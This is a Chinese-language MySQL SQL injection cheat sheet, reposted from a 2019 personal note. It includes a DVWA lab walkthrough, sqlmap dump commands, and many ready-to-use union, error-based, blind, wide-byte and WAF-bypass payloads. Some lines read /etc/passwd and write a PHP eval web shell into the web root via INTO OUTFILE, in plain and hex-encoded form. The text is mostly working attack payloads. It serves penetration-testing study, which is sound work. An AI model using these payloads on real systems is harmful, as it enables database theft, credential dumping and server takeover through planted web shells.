【漏洞匯總】SQL 注入漏洞之 mysql



日期:2019-07-23 19:55:59
更新:2019-08-02 10:40:37
作者:Bay0net
介紹:Mysql 注入筆記


0x01、 基本信息

1.1 基本術語

  • 數據庫: 數據庫是一些關聯表的集合。
  • 數據表: 表是數據的矩陣。在一個數據庫中的表看起來像一個簡單的電子表格。
  • 列: 一列(數據元素) 包含了相同類型的數據, 例如郵政編碼的數據。
  • 行:一行(=元組,或記錄)是一組相關的數據,例如一條用戶訂閱的數據。
  • 主鍵:主鍵是唯一的。一個數據表中只能包含一個主鍵。你可以使用主鍵來查詢數據。
  • 外鍵:外鍵用於關聯兩個表。

1.2 常用命令

# 登錄
mysql -h 127.0.0.1 -u root -p root

0x02、Mysql 命令

內置函數

# 查看當前數據庫
select database();

# 查看用戶相關
select user();
select current_user();
select system_user();
select session_user();

# 查看數據庫版本
select version();
select @@version;
select @@GLOBAL.VERSION;

# 查看操作系統
select @@version_compile_os;

# 查看主機名
select @@hostname;

# 查看默認目錄
select @@datadir;

查詢數據庫、表名、字段等信息

在每個 MySQL 實例中都有一個獨立的 information_schema,用來存儲 MySQL 實例中所有其他數據庫的基本信息。

# 爆所有用戶
select group_concat(user) from mysql.user;

# 爆所有數據庫
select group_concat(SCHEMA_NAME) from information_schema.schemata;

# 爆當前數據庫的表名
select group_concat(table_name) from information_schema.tables where table_schema=database();

# 表中有主碼約束,非空約束等完整性約束條件的情況下 爆表名
select group_concat(table_name) from information_schema.table_constraints where table_schema=database();

# 爆字段名(表名是 users,加引號或十六進制編碼)
select group_concat(column_name) from information_schema.columns where table_name='users';
select group_concat(column_name) from information_schema.columns where table_name=0x7573657273;

# 爆字段內容
select first_name,password from users

讀寫文件操作

# 讀取文件
select load_file('/etc/passwd');
select load_file(0x2f6574632f706173737764);
  • load_file 的默認目錄是 @@datadir
  • 文件需要有可讀權限。
  • 讀文件的最大容量,用 @@max_allowed_packet 查看。
# 寫入文件(需要有權限、知道絕對路徑)
select 'hello' into outfile '/tmp/test01';
select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/shell.php';

select 'hello' into dumpfile '/tmp/test01';
  • outfile 和 dumpfile 都不會覆蓋文件,如果文件已存在,則報錯。
  • 如果沒有寫權限,則報錯。
  • into dumpfile 在寫文件時會保持文件原生內容,常用來寫二進制文件。
  • into outfile 在每一行都會加上換行符。

查看讀寫權限

使用 mysql 的讀寫功能需要具有一定的權限。

secure_file_priv 參數用來限制 load_file,into outfile 等相關讀寫執行函數作用於哪個指定目錄。

# 查看方式
show global variables like '%secure%';

# 具體意義
當 secure_file_priv 的值為 null ,表示限制 mysqld 不允許導入|導出
當 secure_file_priv 的值為/tmp/ ,表示限制 mysqld 的導入|導出只能發生在/tmp/目錄下
當 secure_file_priv 的值為/,表示限制 mysqld 的導入|導出的目錄為所在的整個磁盤
當 secure_file_priv 的值沒有具體值時,表示不對 mysqld 的導入|導出做限制

當 mysql.version < 5.5.53 時,默認是 null。

過濾函數使用

PHP < 5.4時;有一個 magic_quotes_gpc 配置項,當 magic_quotes is on,所有的 單引號、雙引號、反斜杠和 null 都將自動使用反斜杠進行轉義。在 php5.4 之后的版本不能使用這個方法進行轉義。

mysql_real_escape_string(),也是用來轉義特殊字符的,但是這個擴展在 php5.5 中已經棄用,並在 php7 中刪除。

PHP: mysqli::real_escape_string - Manual

注釋方法

符號 解釋
# 注釋一行
/**/ 行內注釋、多行注釋
-- 注釋一行
;%00 空字節注釋
` 反引號(只能在句末使用)

字符串連接

select 'a' 'd' 'min';
select concat('a','d','min');
select concat_ws('_','a','d','min');
select group_concat('a','d','min');

concat_wsconcat的區別:

  • concat_ws 全稱是 concat with separator,可以添加連字符
  • concat 函數,如果有一個數值是 null,則返回值為 null,而 concat_ws 不會這樣

0x03、SQL Injection(DVWA)

3.1 Low Security Level

# 判斷是否為注入
?id=1' or '1'='1
?id=1' or '1'='2

# 判斷字段長度(2 正常,3 異常)
?id=1' order by 2 -- 
?id=1' order by 3 --

# 確定回顯點
?id=1' union select 111,222 -- 

# 用戶名和數據庫名稱
?id=1' union select user(),database() -- 
-- output:admin@localhost、dvwa

# 查看當前用戶和 mysql 版本
?id=1' union select current_user(),version() -- 
-- output:First name: admin@%、 5.5.47-0ubuntu0.14.04.1

# 爆表名
?id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database() -- 
-- output:guestbook,users

# 爆列名(兩種辦法,加引號或者十六進制編碼)
?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273 -- 
?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users' -- 
-- output:user_id,first_name,last_name,user,password,avatar,last_login,failed_login

# 爆字段名
?id=1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users  -- 
?id=1' union select null,concat_ws(char(32,58,32),user,password) from users -- 
?id=1' union select user,password from users -- 
-- output:admin/5f4dcc3b5aa765d61d8327deb882cf99

# 讀文件
?id=1' union select 1,load_file('//tmp//key') -- 

# 寫文件()
?id=1' and '1'='2' union select null,'hello' into outfile '/tmp/test01' --
?id=999' union select null,'hello' into outfile '/tmp/test02' --
?id=999'  union select null,'<?php @eval($_POST["gg"]); ?>' into outfile '/tmp/test03' --  
?id=999' union select 1,0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E into outfile '//tmp//test04' -- 

3.2 Medium Security Level

使用了 mysqli_real_escape_string 函數對特殊字符進行轉義,同時前端頁面設置了下拉選擇表單,希望以此來控制用戶的輸入。

此處是數字型注入,所以和特殊符號過濾關系不大,使用 hackbar 進行 POST 即可。

# 判斷注入點
id=1 and 1=1 &Submit=Submit
id=1 and 1=2 &Submit=Submit

# 爆數據
id=1 union select user,password from users&Submit=Submit

3.3 High Secuirty Level

此處加了個 limit 1 來限制輸出,但是可以直接注釋掉,解法與 Low Security Level 相同。

3.4 Impossible Secuity Level

采用了 PDO 技術,划清了代碼與數據的界限,有效防御 SQL 注入,同時只有返回的查詢結果數量為一時,才會成功輸出,這樣就有效預防了”脫褲”,Anti-CSRFtoken 機制的加入了進一步提高了安全性。

DVWA SQL Injection 通關教程 | AnCoLin's Blog|影風博客

3.5 sqlmap 一把梭

利用 sqlmap 工具進行注入

# 爆所有數據庫
sqlmap -r 1.txt --dbs
-- output:dvwa、information_schema、mysql、performance_schema

# 爆表名
sqlmap -r 1.txt -D dvwa --tables
-- output:guestbook、users

# 爆字段名
sqlmap -r 1.txt -D dvwa -T users --columns
-- output:user、password、first_name、last_login、last_name……

# 爆字段內容
sqlmap -r 1.txt -D dvwa -T users -C user,password --dump
-- output:得到賬號和 MD5 hash 后的密碼

0x04、SQL 注入類型

union 注入

參考 dvwa 的注入過程即可。

報錯注入

可以通過 floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection 等方法來進行注入。

floor() 報錯注入【首選】

無長度限制,首選!

# floor() 報錯 1 
select count(*),concat(0x7e,(select version()),0x7e,floor(rand(0)*2))a from information_schema.tables group by a;

# floor() 報錯 2,和上面的等價
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));

# 數據庫版本
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


# 當前用戶
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

# 連接數據庫
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

# 爆數據庫
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

# 爆表
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

# 爆字段
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x696e736572745f666c6167 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

# 爆內容
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,字段名,0x23) FROM 表名 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

原理參考:MySQL 常用報錯注入原理分析 - TriompheL - 博客園

其中的 rand((0)*2)、floor()、group by 函數缺一不可.

extractvalue() 報錯注入

  • ExtractValue(xml_str,Xpath) 函數,使用 Xpath 表示從 XML 格式的字符串中提取一個值
  • 函數中任意一個參數為 NULL,返回值都是 NULL
  • 構造了不符合規定的 Xpath, MySQL 就會報語法錯誤,並顯示 XPath 的內容.
  • 有長度限制,最長32位
# 內置函數 爆當前用戶、版本等等
and extractvalue(1,concat(0x7e,user(),0x7e))

# 爆數據庫
and extractvalue(1,concat(0x7e,database(),0x7e))

# 爆表
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1 ),0x7e))

# 爆字段,表名可以改成十六進制
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名'),0x7e))

# 爆內容
and extractvalue(1,concat(0x7e,(select group_concat(字段名) from 表名 ),0x7e))

updatexml() 報錯

  • updatexml(xml,xpath,new_xml)
  • 使用 nex_xml 根據 xpath 來替換 xml 字符串中特定的值
  • 有長度限制,最長32位
# 爆版本、用戶、等等內置函數均可
and updatexml(1,concat(0x7e,version(),0x7e),1)

# 爆數據庫
and updatexml(1,concat(0x7e,database(),0x7e),1)

# 爆表
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1 ),0x7e),1)

# 爆字段
and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() limit 0,1 ),0x7e),1)

# 爆內容
and updatexml(1,concat(0x7e,(select * from 表名 limit 0,1 ),0x7e),1)

name_const() 報錯

  • name_const(name,value)
  • 傳入的參數必須是常量,否則就會報錯
  • 測試時,只有 version() 好用,其他不能用
# 報錯
select name_const(database(),1);

# 正常
select name_const(version(),1);

# 報錯注入
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a;

exp 報錯

使用exp進行SQL報錯注入 - lcamry - 博客園

# 爆用戶
select exp(~(select * from(select user())x));

# 爆表名
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

# 爆列名
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

# 爆數據:
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

十種 MySQL 報錯注入

摘自《代碼審計:企業級Web代碼安全架構》一書

1.floor()

select * from users where user_id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()

select * from users where user_id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from users where user_id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select * from users where user_id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from users where user_id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from users where user_id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from users where user_id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from users where user_id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from users where user_id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from users where user_id=1 and exp(~(select * from(select user())a));

BOOL盲注

盲注的時候一定注意,MySQL4 之后大小寫不敏感,可使用 binary() 函數使大小寫敏感。

SQL注入備忘手冊

構造 bool 條件

# 正常情況
'or bool#
true'and bool#
    
# 不使用空格、注釋
'or(bool)='1
true'and(bool)='1
    
# 不使用or、and、注釋
'^!(bool)='1
'=(bool)='
'||(bool)='1
true'%26%26(bool)='1
'=if((bool),1,0)='0
    
# 不使用等號、空格、注釋
'or(bool)<>'0
'or((bool)in(1))or'0
    
# 其他
or (case when (bool) then 1 else 0 end)

構造邏輯判斷

常用的函數如下,可用 ASCII()、ORD()和CHAR() 函數做輔助。

# 常用的函數
select left(user(),1)='r';
select right(user(),1)='r';
select substr(user(),1,1)='r';
select substring(user(),1,1)='r';
select mid(user(),1,1)='r';

# 不使用逗號 
user() regexp '^[a-z]'
select user() like "root%";
select POSITION('root' in user());
select mid(user() from 1 for 1)='r';
select mid(user() from 1) like "ro%";

延時盲注

幾個延時的語句

select sleep(3);
select if((1=1),sleep(3),0);
select (case when (1=1) then sleep(3) else 0 end);
select BENCHMARK(100000,MD5(1)) or sleep(3);

Insert & Update注入

# insert 報錯注入
mysql> insert into guestbook values(2,'test2',extractvalue(1,concat(0x7e,user(),0x7e)));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

# update 報錯注入
mysql> update guestbook set name='gp' where comment_id=1 and extractvalue(1,concat(0x7e,user(),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

# insert 延時盲注
mysql> insert into guestbook values(3,'test2',sleep(3));
Query OK, 1 row affected (3.03 sec)

order by 后的注入

此類型的注入,無法使用 PDO 的方式防范!

# 報錯注入
mysql> select * from users order by 1 and extractvalue(1, concat(0x7e, (select @@version),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~5.5.47-0ubuntu0.14.04.1~'

# 布爾注入
select * from users order by IF(0,1,(select 1 union select 2));
select * from users order by IF(1,1,(select 1 union select 2));

0x05、寬字節注入

基本信息

SQL 注入中有一種注入方式叫做寬字節注入,是因為國內常使用 GBK 編碼造成的,可以繞過 addslashes 函數對特殊字符進行的轉義。

反斜杠的十六進制是%5c,單引號的十六進制是 %27,輸入 %bf%27 時,因為要轉義單引號,所以就成了 %bf%5c%27,而在 GBK 編碼中,%bf%5c 代表一個寬字符 縗(cuī)%bf 可以替代為 %81 - %fe 中間的任何字符。

注:縗絰(cuī dié),在古代縗和絰是就是喪帶和喪服,縗絰合在一起說就指整套喪服。

注入方法

寬字節注入和普通的注入很像,payload 如下:

# 普通的注入
?id=1' union select 1,2,3 # 

# 寬字節注入
?id=1%bf%27 union select 1,2,3 # 

# 剩下的 payload 就和普通注入一模一樣了

0x06、HTTP 參數污染

基本信息

先看一個例子,

# 一個 id,兩個 value
http://www.xxxx.com/search.php?id=1&id=2

不同的網站,對這個 URL 的理解不一樣,百度認為 id=1,雅虎認為 id=2,谷歌認為 id=1,2,如果服務器把兩個 value 都留了下來,那么就可能存在問題。

Web服務器 參數獲取函數 獲取到的參數
PHP/Apache $_GET(“par”) Last
JSP/Tomcat Request.getParameter(“par”) First
Perl(CGI)/Apache Param(“par”) First
Python/Apache getvalue(“par”) All (List)
ASP/IIS Request.QueryString(“par”) All (comma-delimited string)

繞過 waf

# 正常的注入
show_user.aspx?id=5;select 1,2,3 from users where id=1--

# 使用 HPP 的注入,沒有了 select xxx from xxx 特征
show_user.aspx?id=5;select 1&id=2&id=3 from users where id=1--

0x07、繞過技巧

# 大小寫繞過
selEct * fRom users;

# 重寫繞過
seleselectct * frfromom users;

# 拼寫繞過
參考 0x02 的字符串連接

# 編碼繞過,以 admin 為例
select CHAR(97, 100, 109, 105, 110);

# 十六進制編碼
SELECT FROM Users WHERE username = 0x61646D696E

0x08、奇淫巧技

利用 where 語句爆數據

無列名讀數據

生成一個虛擬表:

select 1,2,3 union select * from guestbook;

把生成的虛擬表,利用表名,來進行查詢,反引號是對應的列。

select `2`,`3` from(select 1,2,3 union select * from guestbook)as a;


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM